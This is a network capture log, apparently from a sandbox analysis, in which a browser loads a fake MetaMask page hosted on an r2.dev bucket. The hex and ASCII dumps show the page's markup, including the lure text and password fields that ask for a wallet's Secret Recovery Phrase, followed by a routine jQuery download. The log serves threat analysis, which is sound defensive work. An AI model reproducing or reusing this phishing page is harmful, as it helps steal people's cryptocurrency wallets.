2024-09-28 22:58:58 UTC	696	OUT	GET /index.html HTTP/1.1 Host: pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 22:58:59 UTC	283	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:58:59 GMT Content-Type: text/html Content-Length: 65287 Connection: close Accept-Ranges: bytes ETag: "df467003f88a77d4a3e1c26b3d638be0" Last-Modified: Tue, 28 May 2024 13:45:58 GMT Server: cloudflare CF-RAY: 8ca7575dae439e05-EWR
2024-09-28 22:58:59 UTC	1086	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 65 74 61 4d 61 73 6b 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 2d 6e 65 77 73 22 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>MetaMask</title> <meta name="googlebot" content="noindex"> <meta name="googlebot-news"
2024-09-28 22:58:59 UTC	1369	IN	Data Raw: 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 50 6f 70 70 69 6e 73 3a 77 67 68 74 40 33 30 30 3b 34 30 30 3b 35 30 30 3b 36 30 30 3b 37 30 30 3b 38 30 30 3b 39 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 27 29 3b 0d 0a 0d 0a 2a 7b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 7d 0d 0a 62 6f 64 79 7b 0d 0a 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 50 6f 70 70 69 6e 73 27 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 7d 0d 0a 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 20 73 65 6c 65 63 74 7b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 69 Data Ascii: 'https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700;800;900&display=swap');*{ margin: 0; padding: 0;}body{ box-sizing: border-box; font-family: 'Poppins', sans-serif;}button,input, select{ font-family: i
2024-09-28 22:58:59 UTC	1369	IN	Data Raw: 73 6c 61 74 65 59 28 2d 33 70 78 29 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 34 70 78 3b 0d 0a 7d 0d 0a 2e 66 6f 72 6d 2d 62 6f 78 2d 6d 61 69 6e 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 67 72 69 64 3b 0d 0a 20 20 67 72 69 64 2d 74 65 6d 70 6c 61 74 65 2d 63 6f 6c 75 6d 6e 73 3a 20 72 65 70 65 61 74 28 33 2c 20 31 66 72 29 3b 0d 0a 20 20 67 72 69 64 2d 67 61 70 3a 20 32 30 70 78 3b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 32 30 70 78 20 31 30 70 78 3b 0d 0a 0d 0a 7d 0d 0a 2e 69 6e 70 75 74 2d 66 6f 72 6d 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0d 0a 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0d 0a 7d 0d 0a 2e 69 6e 70 75 74 2d 66 6f 72 6d 20 69 6e 70 75 74 7b 0d 0a 20 20 77 69 64 74 68 3a 20 38 30 25 3b 0d Data Ascii: slateY(-3px); margin-left: 4px;}.form-box-main{ display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 20px; margin: 20px 10px;}.input-form{ display: flex; align-items: center;}.input-form input{ width: 80%;
2024-09-28 22:58:59 UTC	1369	IN	Data Raw: 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 72 65 64 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0d 0a 7d 0d 0a 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 6c 6f 61 64 38 20 7b 0d 0a 20 20 30 25 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 0d 0a 20 20 7d 0d 0a 20 20 31 30 30 25 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 0d 0a 20 20 7d 0d 0a 7d 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 6c Data Ascii: color: red; font-size: 14px;}@-webkit-keyframes load8 { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); }}@keyframes l
2024-09-28 22:58:59 UTC	1369	IN	Data Raw: 73 2d 62 6f 78 20 20 69 6d 67 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 39 30 25 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 69 63 6f 6e 32 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 6d 65 73 73 61 67 65 2d 62 6f 78 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 69 63 6f 6e 2d 74 65 78 74 20 70 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 69 63 6f 6e 31 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 69 63 6f 6e 32 20 69 6d 67 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 34 30 70 78 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 68 65 61 64 2d 74 65 78 74 2d 70 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 Data Ascii: s-box img{ width: 90%; } .icon2{ display: block; } .message-box{ margin: 0; } .icon-text p{ font-size: 13px; } .icon1{ display: none; } .icon2 img{ width: 40px; } .head-text-p{ font-s
2024-09-28 22:58:59 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 65 6c 65 63 74 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 5f 5f 73 65 6c 65 63 74 22 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 61 6d 22 3e 45 6e 67 6c 69 73 68 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 61 72 22 3e d8 a7 d9 84 d8 b9 d8 b1 d8 a8 d9 8a d8 a9 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 62 67 22 3e d0 b1 d1 8a d0 bb d0 b3 d0 b0 d1 80 d1 81 d0 ba d0 b8 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 62 6e 22 3e e0 a6 ac e0 a6 be e0 a6 82 e0 a6 b2 e0 a6 be 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 63 61 22 3e 43 61 74 61 6c c3 a0 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e Data Ascii: <select class="dropdown__select"><option value="am">English</option><option value="ar"></option><option value="bg"></option><option value="bn"></option><option value="ca">Catal</option><option
2024-09-28 22:58:59 UTC	1369	IN	Data Raw: 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 6d 73 22 3e 4d 61 6c 61 79 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 6e 6c 22 3e 4e 65 64 65 72 6c 61 6e 64 73 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 6e 6f 22 3e 4e 6f 72 77 65 67 69 61 6e 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 70 68 22 3e 50 69 6c 69 70 69 6e 6f 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 70 6c 22 3e 50 6f 6c 73 6b 69 65 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 70 74 22 3e 50 6f 72 74 75 67 75 c3 aa 73 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 70 74 5f 42 52 22 3e 50 6f 72 74 75 67 75 c3 aa 73 20 28 42 72 61 7a 69 Data Ascii: option value="ms">Malay</option><option value="nl">Nederlands</option><option value="no">Norwegian</option><option value="ph">Pilipino</option><option value="pl">Polskie</option><option value="pt">Portugus</option><option value="pt_BR">Portugus (Brazi
2024-09-28 22:58:59 UTC	1369	IN	Data Raw: 63 6f 76 65 72 79 20 50 68 72 61 73 65 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 2d 74 65 78 74 2d 70 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 4d 65 74 61 4d 61 73 6b 20 63 61 6e 6e 6f 74 20 72 65 63 6f 76 65 72 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 2e 20 57 65 20 77 69 6c 6c 20 75 73 65 20 79 6f 75 72 20 3c 2f 62 72 3e 20 53 65 63 72 65 74 20 52 65 63 6f 76 65 72 79 20 50 68 72 61 73 65 20 74 6f 20 76 61 6c 69 64 61 74 65 20 79 6f 75 72 20 6f 77 6e 65 72 73 68 69 70 2c 20 72 65 73 74 6f 72 65 20 79 6f 75 72 20 77 61 6c 6c 65 74 20 61 6e 64 20 73 65 74 20 75 70 20 61 20 6e 65 77 20 70 61 73 73 77 Data Ascii: covery Phrase</h1> </div> <div class="head-text-p"> <p>MetaMask cannot recover your password. We will use your </br> Secret Recovery Phrase to validate your ownership, restore your wallet and set up a new passw
2024-09-28 22:58:59 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 65 78 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 59 6f 75 20 63 61 6e 20 70 61 73 74 65 20 79 6f 75 72 20 65 6e 74 69 72 65 20 73 65 63 72 65 74 20 72 65 63 6f 76 65 72 79 20 70 68 72 61 73 65 20 69 6e 74 6f 20 61 6e 79 20 66 69 65 6c 64 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 2d 20 46 6f 72 6d 31 32 20 2d 2d 2d 2d 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 Data Ascii: </div> <div class="icon-text"> <p>You can paste your entire secret recovery phrase into any field</p> </div> </div> ...- Form12 ------> <form act
2024-09-28 22:58:59 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 22 3e 34 2e 20 3c 2f 6c 61 62 65 6c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 70 61 73 73 77 6f 72 64 22 20 63 6c 61 73 73 3d 22 77 6f 72 64 2d 31 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 66 69 6c 6c 74 79 70 65 2e 6e 65 74 6c 69 66 79 2e 61 70 70 2f 65 79 65 2d 63 6c 6f 73 65 2e 70 6e 67 22 20 61 6c 74 3d 22 65 79 65 2d 63 6c 6f 73 65 22 20 63 6c 61 73 73 3d 22 65 79 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d Data Ascii: <label for="">4. </label> <input type="password" class="word-12"> <img src="https://bestfilltype.netlify.app/eye-close.png" alt="eye-close" class="eye"> </div>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49722	151.101.194.137	443	3792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:00 UTC	561	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 22:59:00 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1683723 Date: Sat, 28 Sep 2024 22:59:00 GMT X-Served-By: cache-lga21947-LGA, cache-ewr-kewr1740065-EWR X-Cache: HIT, HIT X-Cache-Hits: 4188, 0 X-Timer: S1727564340.264519,VS0,VE1 Vary: Accept-Encoding
2024-09-28 22:59:00 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2024-09-28 22:59:00 UTC	1378	IN	Data Raw: 3e 3d 30 26 26 63 3c 62 3f 5b 74 68 69 73 5b 63 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 68 2c 73 6f 72 74 3a 63 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 63 2e 73 70 6c 69 63 65 7d 2c 72 2e 65 78 74 65 6e 64 3d 72 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 68 3d 31 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6a 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 67 26 26 28 6a 3d 67 2c 67 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: >=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]\|\|{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments
2024-09-28 22:59:00 UTC	1378	IN	Data Raw: 6e 20 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 30 3b 69 66 28 77 28 61 29 29 7b 66 6f 72 28 63 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 63 3b 64 2b 2b 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 64 20 69 6e 20 61 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 61 7d 2c 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 22 22 3a 28 61 2b 22 22 29 2e Data Ascii: n a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").
2024-09-28 22:59:00 UTC	1378	IN	Data Raw: 61 72 72 61 79 22 3d 3d 3d 63 7c 7c 30 3d 3d 3d 62 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 62 3e 30 26 26 62 2d 31 20 69 6e 20 61 29 7d 76 61 72 20 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 70 2c 71 2c 72 2c 73 2c 74 2c 75 3d 22 73 69 7a 7a 6c 65 22 2b 31 2a 6e 65 77 20 44 61 74 65 2c 76 3d 61 2e 64 6f 63 75 6d 65 6e 74 2c 77 3d 30 2c 78 3d 30 2c 79 3d 68 61 28 29 2c 7a 3d 68 61 28 29 2c 41 3d 68 61 28 29 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 26 26 28 6c 3d 21 30 29 2c 30 7d 2c 43 3d 7b 7d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 44 3d 5b 5d 2c 45 3d 44 2e 70 6f 70 2c 46 3d 44 2e Data Ascii: array"===c\|\|0===b\|\|"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.
2024-09-28 22:59:00 UTC	1378	IN	Data Raw: 70 28 22 5e 22 2b 4b 2b 22 2a 5b 3e 2b 7e 5d 7c 3a 28 65 76 65 6e 7c 6f 64 64 7c 65 71 7c 67 74 7c 6c 74 7c 6e 74 68 7c 66 69 72 73 74 7c 6c 61 73 74 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 28 3f 3a 2d 5c 5c 64 29 3f 5c 5c 64 2a 29 22 2b 4b 2b 22 2a 5c 5c 29 7c 29 28 3f 3d 5b 5e 2d 5d 7c 24 29 22 2c 22 69 22 29 7d 2c 57 3d 2f 5e 28 3f 3a 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 29 24 2f 69 2c 58 3d 2f 5e 68 5c 64 24 2f 69 2c 59 3d 2f 5e 5b 5e 7b 5d 2b 5c 7b 5c 73 2a 5c 5b 6e 61 74 69 76 65 20 5c 77 2f 2c 5a 3d 2f 5e 28 3f 3a 23 28 5b 5c 77 2d 5d 2b 29 7c 28 5c 77 2b 29 7c 5c 2e 28 5b 5c 77 2d 5d 2b 29 29 24 2f 2c 24 3d 2f 5b 2b 7e 5d 2f 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 28 5b 5c 5c 64 61 Data Ascii: p("^"+K+"[>+~]\|:(even\|odd\|eq\|gt\|lt\|nth\|first\|last)(?:\$"+K+"((?:-\\d)?\\d)"+K+"\$\|)(?=[^-]\|$)","i")},W=/^(?:input\|select\|textarea\|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)\|(\w+)\|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da
2024-09-28 22:59:00 UTC	1378	IN	Data Raw: 5b 33 5d 29 26 26 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 72 65 74 75 72 6e 20 47 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 66 29 29 2c 64 7d 69 66 28 63 2e 71 73 61 26 26 21 41 5b 61 2b 22 20 22 5d 26 26 28 21 71 7c 7c 21 71 2e 74 65 73 74 28 61 29 29 29 7b 69 66 28 31 21 3d 3d 77 29 73 3d 62 2c 72 3d 61 3b 65 6c 73 65 20 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7b 28 6b 3d 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 6b 3d 6b 2e 72 65 70 6c 61 63 65 28 62 61 2c 63 61 29 3a 62 2e 73 65 74 Data Ascii: [3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q\|\|!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.set
2024-09-28 22:59:00 UTC	1378	IN	Data Raw: 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 69 73 44 69 73 61 62 6c 65 64 3d 3d 3d 61 7c 7c 62 2e 69 73 44 69 73 61 62 6c 65 64 21 3d 3d 21 61 26 26 65 61 28 62 29 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 22 6c 61 62 65 6c 22 69 6e 20 62 26 26 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 29 7b 72 65 74 75 72 6e 20 69 61 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 3d 2b 62 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 2c 66 3d 61 28 5b 5d 2c 63 2e 6c 65 6e 67 74 68 2c 62 29 2c 67 3d 66 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 67 2d 2d 29 63 5b 65 3d 66 5b 67 5d 5d 26 26 28 63 5b 65 5d 3d 21 28 64 5b 65 Data Ascii: e.disabled===a:b.disabled===a:b.isDisabled===a\|\|b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e
2024-09-28 22:59:00 UTC	1378	IN	Data Raw: 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 63 26 26 63 2e 76 61 6c 75 65 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 2c 64 2c 65 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 69 66 28 66 29 7b 69 66 28 63 3d 66 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 2c 63 26 26 63 2e 76 61 6c 75 65 Data Ascii: n function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value
